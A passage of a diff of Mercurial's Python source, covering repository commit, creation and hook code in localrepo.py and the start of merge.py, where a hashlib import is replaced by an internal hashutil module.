                         b"copied from '%s'!\n"
                     )
                     % (fname, cfname)
                 )
 
         elif fparent1 == nullid:
             fparent1, fparent2 = fparent2, nullid
         elif fparent2 != nullid:
             # is one parent an ancestor of the other?
             fparentancestors = flog.commonancestorsheads(fparent1, fparent2)
             if fparent1 in fparentancestors:
                 fparent1, fparent2 = fparent2, nullid
             elif fparent2 in fparentancestors:
                 fparent2 = nullid
 
         # is the file changed?
         text = fctx.data()
         if fparent2 != nullid or flog.cmp(fparent1, text) or meta:
             changelist.append(fname)
             return flog.add(text, meta, tr, linkrev, fparent1, fparent2)
         # are just the flags changed during merge?
         elif fname in manifest1 and manifest1.flags(fname) != fctx.flags():
             changelist.append(fname)
 
         return fparent1
 
     def checkcommitpatterns(self, wctx, match, status, fail):
         """check for commit arguments that aren't committable"""
         if match.isexact() or match.prefix():
             matched = set(status.modified + status.added + status.removed)
 
             for f in match.files():
                 f = self.dirstate.normalize(f)
                 if f == b'.' or f in matched or f in wctx.substate:
                     continue
                 if f in status.deleted:
                     fail(f, _(b'file not found!'))
                 # Is it a directory that exists or used to exist?
                 if self.wvfs.isdir(f) or wctx.p1().hasdir(f):
                     d = f + b'/'
                     for mf in matched:
                         if mf.startswith(d):
                             break
                     else:
                         fail(f, _(b"no match under directory!"))
                 elif f not in self.dirstate:
                     fail(f, _(b"file not tracked!"))
 
     @unfilteredmethod
     def commit(
         self,
         text=b"",
         user=None,
         date=None,
         match=None,
         force=False,
         editor=None,
         extra=None,
     ):
         """Add a new revision to current repository.
 
         Revision information is gathered from the working directory,
         match can be used to filter the committed files. If editor is
         supplied, it is called to get a commit message.
         """
         if extra is None:
             extra = {}
 
         def fail(f, msg):
             raise error.Abort(b'%s: %s' % (f, msg))
 
         if not match:
             match = matchmod.always()
 
         if not force:
             match.bad = fail
 
         # lock() for recent changelog (see issue4368)
         with self.wlock(), self.lock():
             wctx = self[None]
             merge = len(wctx.parents()) > 1
 
             if not force and merge and not match.always():
                 raise error.Abort(
                     _(
                         b'cannot partially commit a merge '
                         b'(do not specify files or patterns)'
                     )
                 )
 
             status = self.status(match=match, clean=force)
             if force:
                 status.modified.extend(
                     status.clean
                 )  # mq may commit clean files
 
             # check subrepos
             subs, commitsubs, newstate = subrepoutil.precommit(
                 self.ui, wctx, status, match, force=force
             )
 
             # make sure all explicit patterns are matched
             if not force:
                 self.checkcommitpatterns(wctx, match, status, fail)
 
             cctx = context.workingcommitctx(
                 self, status, text, user, date, extra
             )
 
             # internal config: ui.allowemptycommit
             allowemptycommit = (
                 wctx.branch() != wctx.p1().branch()
                 or extra.get(b'close')
                 or merge
                 or cctx.files()
                 or self.ui.configbool(b'ui', b'allowemptycommit')
             )
             if not allowemptycommit:
                 return None
 
             if merge and cctx.deleted():
                 raise error.Abort(_(b"cannot commit merge with missing files"))
 
             ms = mergemod.mergestate.read(self)
             mergeutil.checkunresolved(ms)
 
             if editor:
                 cctx._text = editor(self, cctx, subs)
             edited = text != cctx._text
 
             # Save commit message in case this transaction gets rolled back
             # (e.g. by a pretxncommit hook).  Leave the content alone on
             # the assumption that the user will use the same editor again.
             msgfn = self.savecommitmessage(cctx._text)
 
             # commit subs and write new state
             if subs:
                 uipathfn = scmutil.getuipathfn(self)
                 for s in sorted(commitsubs):
                     sub = wctx.sub(s)
                     self.ui.status(
                         _(b'committing subrepository %s\n')
                         % uipathfn(subrepoutil.subrelpath(sub))
                     )
                     sr = sub.commit(cctx._text, user, date)
                     newstate[s] = (newstate[s][0], sr)
                 subrepoutil.writestate(self, newstate)
 
             p1, p2 = self.dirstate.parents()
             hookp1, hookp2 = hex(p1), (p2 != nullid and hex(p2) or b'')
             try:
                 self.hook(
                     b"precommit", throw=True, parent1=hookp1, parent2=hookp2
                 )
                 with self.transaction(b'commit'):
                     ret = self.commitctx(cctx, True)
                     # update bookmarks, dirstate and mergestate
                     bookmarks.update(self, [p1, p2], ret)
                     cctx.markcommitted(ret)
                     ms.reset()
             except:  # re-raises
                 if edited:
                     self.ui.write(
                         _(b'note: commit message saved in %s\n') % msgfn
                     )
                 raise
 
         def commithook(unused_success):
             # hack for command that use a temporary commit (eg: histedit)
             # temporary commit got stripped before hook release
             if self.changelog.hasnode(ret):
                 self.hook(
                     b"commit", node=hex(ret), parent1=hookp1, parent2=hookp2
                 )
 
         self._afterlock(commithook)
         return ret
 
     @unfilteredmethod
     def commitctx(self, ctx, error=False, origctx=None):
         """Add a new revision to current repository.
         Revision information is passed via the context argument.
 
         ctx.files() should list all files involved in this commit, i.e.
         modified/added/removed files. On merge, it may be wider than the
         ctx.files() to be committed, since any file nodes derived directly
         from p1 or p2 are excluded from the committed ctx.files().
 
         origctx is for convert to work around the problem that bug
         fixes to the files list in changesets change hashes. For
         convert to be the identity, it can pass an origctx and this
         function will use the same files list when it makes sense to
         do so.
         """
 
         p1, p2 = ctx.p1(), ctx.p2()
         user = ctx.user()
 
         if self.filecopiesmode == b'changeset-sidedata':
             writechangesetcopy = True
             writefilecopymeta = True
             writecopiesto = None
         else:
             writecopiesto = self.ui.config(b'experimental', b'copies.write-to')
             writefilecopymeta = writecopiesto != b'changeset-only'
             writechangesetcopy = writecopiesto in (
                 b'changeset-only',
                 b'compatibility',
             )
         p1copies, p2copies = None, None
         if writechangesetcopy:
             p1copies = ctx.p1copies()
             p2copies = ctx.p2copies()
         filesadded, filesremoved = None, None
         with self.lock(), self.transaction(b"commit") as tr:
             trp = weakref.proxy(tr)
 
             if ctx.manifestnode():
                 # reuse an existing manifest revision
                 self.ui.debug(b'reusing known manifest\n')
                 mn = ctx.manifestnode()
                 files = ctx.files()
                 if writechangesetcopy:
                     filesadded = ctx.filesadded()
                     filesremoved = ctx.filesremoved()
             elif ctx.files():
                 m1ctx = p1.manifestctx()
                 m2ctx = p2.manifestctx()
                 mctx = m1ctx.copy()
 
                 m = mctx.read()
                 m1 = m1ctx.read()
                 m2 = m2ctx.read()
 
                 # check in files
                 added = []
                 changed = []
                 removed = list(ctx.removed())
                 linkrev = len(self)
                 self.ui.note(_(b"committing files:\n"))
                 uipathfn = scmutil.getuipathfn(self)
                 for f in sorted(ctx.modified() + ctx.added()):
                     self.ui.note(uipathfn(f) + b"\n")
                     try:
                         fctx = ctx[f]
                         if fctx is None:
                             removed.append(f)
                         else:
                             added.append(f)
                             m[f] = self._filecommit(
                                 fctx,
                                 m1,
                                 m2,
                                 linkrev,
                                 trp,
                                 changed,
                                 writefilecopymeta,
                             )
                             m.setflag(f, fctx.flags())
                     except OSError:
                         self.ui.warn(
                             _(b"trouble committing %s!\n") % uipathfn(f)
                         )
                         raise
                     except IOError as inst:
                         errcode = getattr(inst, 'errno', errno.ENOENT)
                         if error or errcode and errcode != errno.ENOENT:
                             self.ui.warn(
                                 _(b"trouble committing %s!\n") % uipathfn(f)
                             )
                         raise
 
                 # update manifest
                 removed = [f for f in removed if f in m1 or f in m2]
                 drop = sorted([f for f in removed if f in m])
                 for f in drop:
                     del m[f]
                 if p2.rev() != nullrev:
 
                     @util.cachefunc
                     def mas():
                         p1n = p1.node()
                         p2n = p2.node()
                         cahs = self.changelog.commonancestorsheads(p1n, p2n)
                         if not cahs:
                             cahs = [nullrev]
                         return [self[r].manifest() for r in cahs]
 
                     def deletionfromparent(f):
                         # When a file is removed relative to p1 in a merge, this
                         # function determines whether the absence is due to a
                         # deletion from a parent, or whether the merge commit
                         # itself deletes the file. We decide this by doing a
                         # simplified three way merge of the manifest entry for
                         # the file. There are two ways we decide the merge
                         # itself didn't delete a file:
                         # - neither parent (nor the merge) contain the file
                         # - exactly one parent contains the file, and that
                         #   parent has the same filelog entry as the merge
                         #   ancestor (or all of them if there two). In other
                         #   words, that parent left the file unchanged while the
                         #   other one deleted it.
                         # One way to think about this is that deleting a file is
                         # similar to emptying it, so the list of changed files
                         # should be similar either way. The computation
                         # described above is not done directly in _filecommit
                         # when creating the list of changed files, however
                         # it does something very similar by comparing filelog
                         # nodes.
                         if f in m1:
                             return f not in m2 and all(
                                 f in ma and ma.find(f) == m1.find(f)
                                 for ma in mas()
                             )
                         elif f in m2:
                             return all(
                                 f in ma and ma.find(f) == m2.find(f)
                                 for ma in mas()
                             )
                         else:
                             return True
 
                     removed = [f for f in removed if not deletionfromparent(f)]
 
                 files = changed + removed
                 md = None
                 if not files:
                     # if no "files" actually changed in terms of the changelog,
                     # try hard to detect unmodified manifest entry so that the
                     # exact same commit can be reproduced later on convert.
                     md = m1.diff(m, scmutil.matchfiles(self, ctx.files()))
                 if not files and md:
                     self.ui.debug(
                         b'not reusing manifest (no file change in '
                         b'changelog, but manifest differs)\n'
                     )
                 if files or md:
                     self.ui.note(_(b"committing manifest\n"))
                     # we're using narrowmatch here since it's already applied at
                     # other stages (such as dirstate.walk), so we're already
                     # ignoring things outside of narrowspec in most cases. The
                     # one case where we might have files outside the narrowspec
                     # at this point is merges, and we already error out in the
                     # case where the merge has files outside of the narrowspec,
                     # so this is safe.
                     mn = mctx.write(
                         trp,
                         linkrev,
                         p1.manifestnode(),
                         p2.manifestnode(),
                         added,
                         drop,
                         match=self.narrowmatch(),
                     )
 
                     if writechangesetcopy:
                         filesadded = [
                             f for f in changed if not (f in m1 or f in m2)
                         ]
                         filesremoved = removed
                 else:
                     self.ui.debug(
                         b'reusing manifest from p1 (listed files '
                         b'actually unchanged)\n'
                     )
                     mn = p1.manifestnode()
             else:
                 self.ui.debug(b'reusing manifest from p1 (no file change)\n')
                 mn = p1.manifestnode()
                 files = []
 
             if writecopiesto == b'changeset-only':
                 # If writing only to changeset extras, use None to indicate that
                 # no entry should be written. If writing to both, write an empty
                 # entry to prevent the reader from falling back to reading
                 # filelogs.
                 p1copies = p1copies or None
                 p2copies = p2copies or None
                 filesadded = filesadded or None
                 filesremoved = filesremoved or None
 
             if origctx and origctx.manifestnode() == mn:
                 files = origctx.files()
 
             # update changelog
             self.ui.note(_(b"committing changelog\n"))
             self.changelog.delayupdate(tr)
             n = self.changelog.add(
                 mn,
                 files,
                 ctx.description(),
                 trp,
                 p1.node(),
                 p2.node(),
                 user,
                 ctx.date(),
                 ctx.extra().copy(),
                 p1copies,
                 p2copies,
                 filesadded,
                 filesremoved,
             )
             xp1, xp2 = p1.hex(), p2 and p2.hex() or b''
             self.hook(
                 b'pretxncommit',
                 throw=True,
                 node=hex(n),
                 parent1=xp1,
                 parent2=xp2,
             )
             # set the new commit is proper phase
             targetphase = subrepoutil.newcommitphase(self.ui, ctx)
             if targetphase:
                 # retract boundary do not alter parent changeset.
                 # if a parent have higher the resulting phase will
                 # be compliant anyway
                 #
                 # if minimal phase was 0 we don't need to retract anything
                 phases.registernew(self, tr, targetphase, [n])
             return n
 
     @unfilteredmethod
     def destroying(self):
         '''Inform the repository that nodes are about to be destroyed.
         Intended for use by strip and rollback, so there's a common
         place for anything that has to be done before destroying history.
 
         This is mostly useful for saving state that is in memory and waiting
         to be flushed when the current lock is released. Because a call to
         destroyed is imminent, the repo will be invalidated causing those
         changes to stay in memory (waiting for the next unlock), or vanish
         completely.
         '''
         # When using the same lock to commit and strip, the phasecache is left
         # dirty after committing. Then when we strip, the repo is invalidated,
         # causing those changes to disappear.
         if '_phasecache' in vars(self):
             self._phasecache.write()
 
     @unfilteredmethod
     def destroyed(self):
         '''Inform the repository that nodes have been destroyed.
         Intended for use by strip and rollback, so there's a common
         place for anything that has to be done after destroying history.
         '''
         # When one tries to:
         # 1) destroy nodes thus calling this method (e.g. strip)
         # 2) use phasecache somewhere (e.g. commit)
         #
         # then 2) will fail because the phasecache contains nodes that were
         # removed. We can either remove phasecache from the filecache,
         # causing it to reload next time it is accessed, or simply filter
         # the removed nodes now and write the updated cache.
         self._phasecache.filterunknown(self)
         self._phasecache.write()
 
         # refresh all repository caches
         self.updatecaches()
 
         # Ensure the persistent tag cache is updated.  Doing it now
         # means that the tag cache only has to worry about destroyed
         # heads immediately after a strip/rollback.  That in turn
         # guarantees that "cachetip == currenttip" (comparing both rev
         # and node) always means no nodes have been added or destroyed.
 
         # XXX this is suboptimal when qrefresh'ing: we strip the current
         # head, refresh the tag cache, then immediately add a new head.
         # But I think doing it this way is necessary for the "instant
         # tag cache retrieval" case to work.
         self.invalidate()
 
     def status(
         self,
         node1=b'.',
         node2=None,
         match=None,
         ignored=False,
         clean=False,
         unknown=False,
         listsubrepos=False,
     ):
         '''a convenience method that calls node1.status(node2)'''
         return self[node1].status(
             node2, match, ignored, clean, unknown, listsubrepos
         )
 
     def addpostdsstatus(self, ps):
         """Add a callback to run within the wlock, at the point at which status
         fixups happen.
 
         On status completion, callback(wctx, status) will be called with the
         wlock held, unless the dirstate has changed from underneath or the wlock
         couldn't be grabbed.
 
         Callbacks should not capture and use a cached copy of the dirstate --
         it might change in the meanwhile. Instead, they should access the
         dirstate via wctx.repo().dirstate.
 
         This list is emptied out after each status run -- extensions should
         make sure it adds to this list each time dirstate.status is called.
         Extensions should also make sure they don't call this for statuses
         that don't involve the dirstate.
         """
 
         # The list is located here for uniqueness reasons -- it is actually
         # managed by the workingctx, but that isn't unique per-repo.
         self._postdsstatus.append(ps)
 
     def postdsstatus(self):
         """Used by workingctx to get the list of post-dirstate-status hooks."""
         return self._postdsstatus
 
     def clearpostdsstatus(self):
         """Used by workingctx to clear post-dirstate-status hooks."""
         del self._postdsstatus[:]
 
     def heads(self, start=None):
         if start is None:
             cl = self.changelog
             headrevs = reversed(cl.headrevs())
             return [cl.node(rev) for rev in headrevs]
 
         heads = self.changelog.heads(start)
         # sort the output in rev descending order
         return sorted(heads, key=self.changelog.rev, reverse=True)
 
     def branchheads(self, branch=None, start=None, closed=False):
         '''return a (possibly filtered) list of heads for the given branch
 
         Heads are returned in topological order, from newest to oldest.
         If branch is None, use the dirstate branch.
         If start is not None, return only heads reachable from start.
         If closed is True, return heads that are marked as closed as well.
         '''
         if branch is None:
             branch = self[None].branch()
         branches = self.branchmap()
         if not branches.hasbranch(branch):
             return []
         # the cache returns heads ordered lowest to highest
         bheads = list(reversed(branches.branchheads(branch, closed=closed)))
         if start is not None:
             # filter out the heads that cannot be reached from startrev
             fbheads = set(self.changelog.nodesbetween([start], bheads)[2])
             bheads = [h for h in bheads if h in fbheads]
         return bheads
 
     def branches(self, nodes):
         if not nodes:
             nodes = [self.changelog.tip()]
         b = []
         for n in nodes:
             t = n
             while True:
                 p = self.changelog.parents(n)
                 if p[1] != nullid or p[0] == nullid:
                     b.append((t, n, p[0], p[1]))
                     break
                 n = p[0]
         return b
 
     def between(self, pairs):
         r = []
 
         for top, bottom in pairs:
             n, l, i = top, [], 0
             f = 1
 
             while n != bottom and n != nullid:
                 p = self.changelog.parents(n)[0]
                 if i == f:
                     l.append(n)
                     f = f * 2
                 n = p
                 i += 1
 
             r.append(l)
 
         return r
 
     def checkpush(self, pushop):
         """Extensions can override this function if additional checks have
         to be performed before pushing, or call it if they override push
         command.
         """
 
     @unfilteredpropertycache
     def prepushoutgoinghooks(self):
         """Return util.hooks consists of a pushop with repo, remote, outgoing
         methods, which are called before pushing changesets.
         """
         return util.hooks()
 
     def pushkey(self, namespace, key, old, new):
         try:
             tr = self.currenttransaction()
             hookargs = {}
             if tr is not None:
                 hookargs.update(tr.hookargs)
             hookargs = pycompat.strkwargs(hookargs)
             hookargs['namespace'] = namespace
             hookargs['key'] = key
             hookargs['old'] = old
             hookargs['new'] = new
             self.hook(b'prepushkey', throw=True, **hookargs)
         except error.HookAbort as exc:
             self.ui.write_err(_(b"pushkey-abort: %s\n") % exc)
             if exc.hint:
                 self.ui.write_err(_(b"(%s)\n") % exc.hint)
             return False
         self.ui.debug(b'pushing key for "%s:%s"\n' % (namespace, key))
         ret = pushkey.push(self, namespace, key, old, new)
 
         def runhook(unused_success):
             self.hook(
                 b'pushkey',
                 namespace=namespace,
                 key=key,
                 old=old,
                 new=new,
                 ret=ret,
             )
 
         self._afterlock(runhook)
         return ret
 
     def listkeys(self, namespace):
         self.hook(b'prelistkeys', throw=True, namespace=namespace)
         self.ui.debug(b'listing keys for "%s"\n' % namespace)
         values = pushkey.list(self, namespace)
         self.hook(b'listkeys', namespace=namespace, values=values)
         return values
 
     def debugwireargs(self, one, two, three=None, four=None, five=None):
         '''used to test argument passing over the wire'''
         return b"%s %s %s %s %s" % (
             one,
             two,
             pycompat.bytestr(three),
             pycompat.bytestr(four),
             pycompat.bytestr(five),
         )
 
     def savecommitmessage(self, text):
         fp = self.vfs(b'last-message.txt', b'wb')
         try:
             fp.write(text)
         finally:
             fp.close()
         return self.pathto(fp.name[len(self.root) + 1 :])
 
 
 # used to avoid circular references so destructors work
 def aftertrans(files):
     renamefiles = [tuple(t) for t in files]
 
     def a():
         for vfs, src, dest in renamefiles:
             # if src and dest refer to a same file, vfs.rename is a no-op,
             # leaving both src and dest on disk. delete dest to make sure
             # the rename couldn't be such a no-op.
             vfs.tryunlink(dest)
             try:
                 vfs.rename(src, dest)
             except OSError:  # journal file does not yet exist
                 pass
 
     return a
 
 
 def undoname(fn):
     base, name = os.path.split(fn)
     assert name.startswith(b'journal')
     return os.path.join(base, name.replace(b'journal', b'undo', 1))
 
 
 def instance(ui, path, create, intents=None, createopts=None):
     localpath = util.urllocalpath(path)
     if create:
         createrepository(ui, localpath, createopts=createopts)
 
     return makelocalrepository(ui, localpath, intents=intents)
 
 
 def islocal(path):
     return True
 
 
 def defaultcreateopts(ui, createopts=None):
     """Populate the default creation options for a repository.
 
     A dictionary of explicitly requested creation options can be passed
     in. Missing keys will be populated.
     """
     createopts = dict(createopts or {})
 
     if b'backend' not in createopts:
         # experimental config: storage.new-repo-backend
         createopts[b'backend'] = ui.config(b'storage', b'new-repo-backend')
 
     return createopts
 
 
 def newreporequirements(ui, createopts):
     """Determine the set of requirements for a new local repository.
 
     Extensions can wrap this function to specify custom requirements for
     new repositories.
     """
     # If the repo is being created from a shared repository, we copy
     # its requirements.
     if b'sharedrepo' in createopts:
         requirements = set(createopts[b'sharedrepo'].requirements)
         if createopts.get(b'sharedrelative'):
             requirements.add(b'relshared')
         else:
             requirements.add(b'shared')
 
         return requirements
 
     if b'backend' not in createopts:
         raise error.ProgrammingError(
             b'backend key not present in createopts; '
             b'was defaultcreateopts() called?'
         )
 
     if createopts[b'backend'] != b'revlogv1':
         raise error.Abort(
             _(
                 b'unable to determine repository requirements for '
                 b'storage backend: %s'
             )
             % createopts[b'backend']
         )
 
     requirements = {b'revlogv1'}
     if ui.configbool(b'format', b'usestore'):
         requirements.add(b'store')
         if ui.configbool(b'format', b'usefncache'):
             requirements.add(b'fncache')
             if ui.configbool(b'format', b'dotencode'):
                 requirements.add(b'dotencode')
 
     compengine = ui.config(b'format', b'revlog-compression')
     if compengine not in util.compengines:
         raise error.Abort(
             _(
                 b'compression engine %s defined by '
                 b'format.revlog-compression not available'
             )
             % compengine,
             hint=_(
                 b'run "hg debuginstall" to list available '
                 b'compression engines'
             ),
         )
 
     # zlib is the historical default and doesn't need an explicit requirement.
     elif compengine == b'zstd':
         requirements.add(b'revlog-compression-zstd')
     elif compengine != b'zlib':
         requirements.add(b'exp-compression-%s' % compengine)
 
     if scmutil.gdinitconfig(ui):
         requirements.add(b'generaldelta')
         if ui.configbool(b'format', b'sparse-revlog'):
             requirements.add(SPARSEREVLOG_REQUIREMENT)
 
     # experimental config: format.exp-use-side-data
     if ui.configbool(b'format', b'exp-use-side-data'):
         requirements.add(SIDEDATA_REQUIREMENT)
     # experimental config: format.exp-use-copies-side-data-changeset
     if ui.configbool(b'format', b'exp-use-copies-side-data-changeset'):
         requirements.add(SIDEDATA_REQUIREMENT)
         requirements.add(COPIESSDC_REQUIREMENT)
     if ui.configbool(b'experimental', b'treemanifest'):
         requirements.add(b'treemanifest')
 
     revlogv2 = ui.config(b'experimental', b'revlogv2')
     if revlogv2 == b'enable-unstable-format-and-corrupt-my-data':
         requirements.remove(b'revlogv1')
         # generaldelta is implied by revlogv2.
         requirements.discard(b'generaldelta')
         requirements.add(REVLOGV2_REQUIREMENT)
     # experimental config: format.internal-phase
     if ui.configbool(b'format', b'internal-phase'):
         requirements.add(b'internal-phase')
 
     if createopts.get(b'narrowfiles'):
         requirements.add(repository.NARROW_REQUIREMENT)
 
     if createopts.get(b'lfs'):
         requirements.add(b'lfs')
 
     if ui.configbool(b'format', b'bookmarks-in-store'):
         requirements.add(bookmarks.BOOKMARKS_IN_STORE_REQUIREMENT)
 
     return requirements
 
 
 def filterknowncreateopts(ui, createopts):
     """Filters a dict of repo creation options against options that are known.
 
     Receives a dict of repo creation options and returns a dict of those
     options that we don't know how to handle.
 
     This function is called as part of repository creation. If the
     returned dict contains any items, repository creation will not
     be allowed, as it means there was a request to create a repository
     with options not recognized by loaded code.
 
     Extensions can wrap this function to filter out creation options
     they know how to handle.
     """
     known = {
         b'backend',
         b'lfs',
         b'narrowfiles',
         b'sharedrepo',
         b'sharedrelative',
         b'shareditems',
         b'shallowfilestore',
     }
 
     return {k: v for k, v in createopts.items() if k not in known}
 
 
 def createrepository(ui, path, createopts=None):
     """Create a new repository in a vfs.
 
     ``path`` path to the new repo's working directory.
     ``createopts`` options for the new repository.
 
     The following keys for ``createopts`` are recognized:
 
     backend
        The storage backend to use.
     lfs
        Repository will be created with ``lfs`` requirement. The lfs extension
        will automatically be loaded when the repository is accessed.
     narrowfiles
        Set up repository to support narrow file storage.
     sharedrepo
        Repository object from which storage should be shared.
     sharedrelative
        Boolean indicating if the path to the shared repo should be
        stored as relative. By default, the pointer to the "parent" repo
        is stored as an absolute path.
     shareditems
        Set of items to share to the new repository (in addition to storage).
     shallowfilestore
        Indicates that storage for files should be shallow (not all ancestor
        revisions are known).
     """
     createopts = defaultcreateopts(ui, createopts=createopts)
 
     unknownopts = filterknowncreateopts(ui, createopts)
 
     if not isinstance(unknownopts, dict):
         raise error.ProgrammingError(
             b'filterknowncreateopts() did not return a dict'
         )
 
     if unknownopts:
         raise error.Abort(
             _(
                 b'unable to create repository because of unknown '
                 b'creation option: %s'
             )
             % b', '.join(sorted(unknownopts)),
             hint=_(b'is a required extension not loaded?'),
         )
 
     requirements = newreporequirements(ui, createopts=createopts)
 
     wdirvfs = vfsmod.vfs(path, expandpath=True, realpath=True)
 
     hgvfs = vfsmod.vfs(wdirvfs.join(b'.hg'))
     if hgvfs.exists():
         raise error.RepoError(_(b'repository %s already exists') % path)
 
     if b'sharedrepo' in createopts:
         sharedpath = createopts[b'sharedrepo'].sharedpath
 
         if createopts.get(b'sharedrelative'):
             try:
                 sharedpath = os.path.relpath(sharedpath, hgvfs.base)
             except (IOError, ValueError) as e:
                 # ValueError is raised on Windows if the drive letters differ
                 # on each path.
                 raise error.Abort(
                     _(b'cannot calculate relative path'),
                     hint=stringutil.forcebytestr(e),
                 )
 
     if not wdirvfs.exists():
         wdirvfs.makedirs()
 
     hgvfs.makedir(notindexed=True)
     if b'sharedrepo' not in createopts:
         hgvfs.mkdir(b'cache')
     hgvfs.mkdir(b'wcache')
 
     if b'store' in requirements and b'sharedrepo' not in createopts:
         hgvfs.mkdir(b'store')
 
         # We create an invalid changelog outside the store so very old
         # Mercurial versions (which didn't know about the requirements
         # file) encounter an error on reading the changelog. This
         # effectively locks out old clients and prevents them from
         # mucking with a repo in an unknown format.
         #
         # The revlog header has version 2, which won't be recognized by
         # such old clients.
         hgvfs.append(
             b'00changelog.i',
             b'\0\0\0\2 dummy changelog to prevent using the old repo '
             b'layout',
         )
 
     scmutil.writerequires(hgvfs, requirements)
 
     # Write out file telling readers where to find the shared store.
     if b'sharedrepo' in createopts:
         hgvfs.write(b'sharedpath', sharedpath)
 
     if createopts.get(b'shareditems'):
         shared = b'\n'.join(sorted(createopts[b'shareditems'])) + b'\n'
         hgvfs.write(b'shared', shared)
 
 
 def poisonrepository(repo):
     """Poison a repository instance so it can no longer be used."""
     # Perform any cleanup on the instance.
     repo.close()
 
     # Our strategy is to replace the type of the object with one that
     # has all attribute lookups result in error.
     #
     # But we have to allow the close() method because some constructors
     # of repos call close() on repo references.
     class poisonedrepository(object):
         def __getattribute__(self, item):
             if item == 'close':
                 return object.__getattribute__(self, item)
 
             raise error.ProgrammingError(
                 b'repo instances should not be used after unshare'
             )
 
         def close(self):
             pass
 
     # We may have a repoview, which intercepts __setattr__. So be sure
     # we operate at the lowest level possible.
     object.__setattr__(repo, '__class__', poisonedrepository)

mercurial/merge.py

@@ -1,2712 +1,2712
 # merge.py - directory-level update/merge handling for Mercurial
 #
 # Copyright 2006, 2007 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import errno
-import hashlib
 import shutil
 import stat
 import struct
 
 from .i18n import _
 from .node import (
     addednodeid,
     bin,
     hex,
     modifiednodeid,
     nullhex,
     nullid,
     nullrev,
 )
 from .pycompat import delattr
 from .thirdparty import attr
 from . import (
     copies,
     encoding,
     error,
     filemerge,
     match as matchmod,
     obsutil,
     pathutil,
     pycompat,
     scmutil,
     subrepoutil,
     util,
     worker,
 )
+from .utils import hashutil
 
 _pack = struct.pack
 _unpack = struct.unpack
 
 
 def _droponode(data):
     # used for compatibility for v1
     bits = data.split(b'\0')
     bits = bits[:-2] + bits[-1:]
     return b'\0'.join(bits)
 
 
 # Merge state record types. See ``mergestate`` docs for more.
 RECORD_LOCAL = b'L'
 RECORD_OTHER = b'O'
 RECORD_MERGED = b'F'
 RECORD_CHANGEDELETE_CONFLICT = b'C'
 RECORD_MERGE_DRIVER_MERGE = b'D'
 RECORD_PATH_CONFLICT = b'P'
 RECORD_MERGE_DRIVER_STATE = b'm'
 RECORD_FILE_VALUES = b'f'
 RECORD_LABELS = b'l'
 RECORD_OVERRIDE = b't'
 RECORD_UNSUPPORTED_MANDATORY = b'X'
 RECORD_UNSUPPORTED_ADVISORY = b'x'
 
 MERGE_DRIVER_STATE_UNMARKED = b'u'
 MERGE_DRIVER_STATE_MARKED = b'm'
 MERGE_DRIVER_STATE_SUCCESS = b's'
 
 MERGE_RECORD_UNRESOLVED = b'u'
 MERGE_RECORD_RESOLVED = b'r'
 MERGE_RECORD_UNRESOLVED_PATH = b'pu'
 MERGE_RECORD_RESOLVED_PATH = b'pr'
 MERGE_RECORD_DRIVER_RESOLVED = b'd'
 
 ACTION_FORGET = b'f'
 ACTION_REMOVE = b'r'
 ACTION_ADD = b'a'
 ACTION_GET = b'g'
 ACTION_PATH_CONFLICT = b'p'
 ACTION_PATH_CONFLICT_RESOLVE = b'pr'
 ACTION_ADD_MODIFIED = b'am'
 ACTION_CREATED = b'c'
 ACTION_DELETED_CHANGED = b'dc'
 ACTION_CHANGED_DELETED = b'cd'
 ACTION_MERGE = b'm'
 ACTION_LOCAL_DIR_RENAME_GET = b'dg'
 ACTION_DIR_RENAME_MOVE_LOCAL = b'dm'
 ACTION_KEEP = b'k'
 ACTION_EXEC = b'e'
 ACTION_CREATED_MERGE = b'cm'
 
 
 class mergestate(object):
     '''track 3-way merge state of individual files
 
     The merge state is stored on disk when needed. Two files are used: one with
     an old format (version 1), and one with a new format (version 2). Version 2
     stores a superset of the data in version 1, including new kinds of records
     in the future. For more about the new format, see the documentation for
     `_readrecordsv2`.
 
     Each record can contain arbitrary content, and has an associated type. This
     `type` should be a letter. If `type` is uppercase, the record is mandatory:
     versions of Mercurial that don't support it should abort. If `type` is
     lowercase, the record can be safely ignored.
 
     Currently known records:
 
     L: the node of the "local" part of the merge (hexified version)
     O: the node of the "other" part of the merge (hexified version)
     F: a file to be merged entry
     C: a change/delete or delete/change conflict
     D: a file that the external merge driver will merge internally
        (experimental)
     P: a path conflict (file vs directory)
     m: the external merge driver defined for this merge plus its run state
        (experimental)
     f: a (filename, dictionary) tuple of optional values for a given file
     X: unsupported mandatory record type (used in tests)
     x: unsupported advisory record type (used in tests)
     l: the labels for the parts of the merge.
 
     Merge driver run states (experimental):
     u: driver-resolved files unmarked -- needs to be run next time we're about
        to resolve or commit
     m: driver-resolved files marked -- only needs to be run before commit
     s: success/skipped -- does not need to be run any more
 
     Merge record states (stored in self._state, indexed by filename):
     u: unresolved conflict
     r: resolved conflict
     pu: unresolved path conflict (file conflicts with directory)
     pr: resolved path conflict
     d: driver-resolved conflict
 
     The resolve command transitions between 'u' and 'r' for conflicts and
     'pu' and 'pr' for path conflicts.
     '''
 
     statepathv1 = b'merge/state'
     statepathv2 = b'merge/state2'
 
     @staticmethod
     def clean(repo, node=None, other=None, labels=None):
         """Initialize a brand new merge state, removing any existing state on
         disk."""
         ms = mergestate(repo)
         ms.reset(node, other, labels)
         return ms
 
     @staticmethod
     def read(repo):
         """Initialize the merge state, reading it from disk."""
         ms = mergestate(repo)
         ms._read()
         return ms
 
     def __init__(self, repo):
         """Initialize the merge state.
 
         Do not use this directly! Instead call read() or clean()."""
         self._repo = repo
         self._dirty = False
         self._labels = None
 
     def reset(self, node=None, other=None, labels=None):
         self._state = {}
         self._stateextras = {}
         self._local = None
         self._other = None
         self._labels = labels
         for var in ('localctx', 'otherctx'):
             if var in vars(self):
                 delattr(self, var)
         if node:
             self._local = node
             self._other = other
         self._readmergedriver = None
         if self.mergedriver:
             self._mdstate = MERGE_DRIVER_STATE_SUCCESS
         else:
             self._mdstate = MERGE_DRIVER_STATE_UNMARKED
         shutil.rmtree(self._repo.vfs.join(b'merge'), True)
         self._results = {}
         self._dirty = False
 
     def _read(self):
         """Analyse each record content to restore a serialized state from disk
 
         This function process "record" entry produced by the de-serialization
         of on disk file.
         """
         self._state = {}
         self._stateextras = {}
         self._local = None
         self._other = None
         for var in ('localctx', 'otherctx'):
             if var in vars(self):
                 delattr(self, var)
         self._readmergedriver = None
         self._mdstate = MERGE_DRIVER_STATE_SUCCESS
         unsupported = set()
         records = self._readrecords()
         for rtype, record in records:
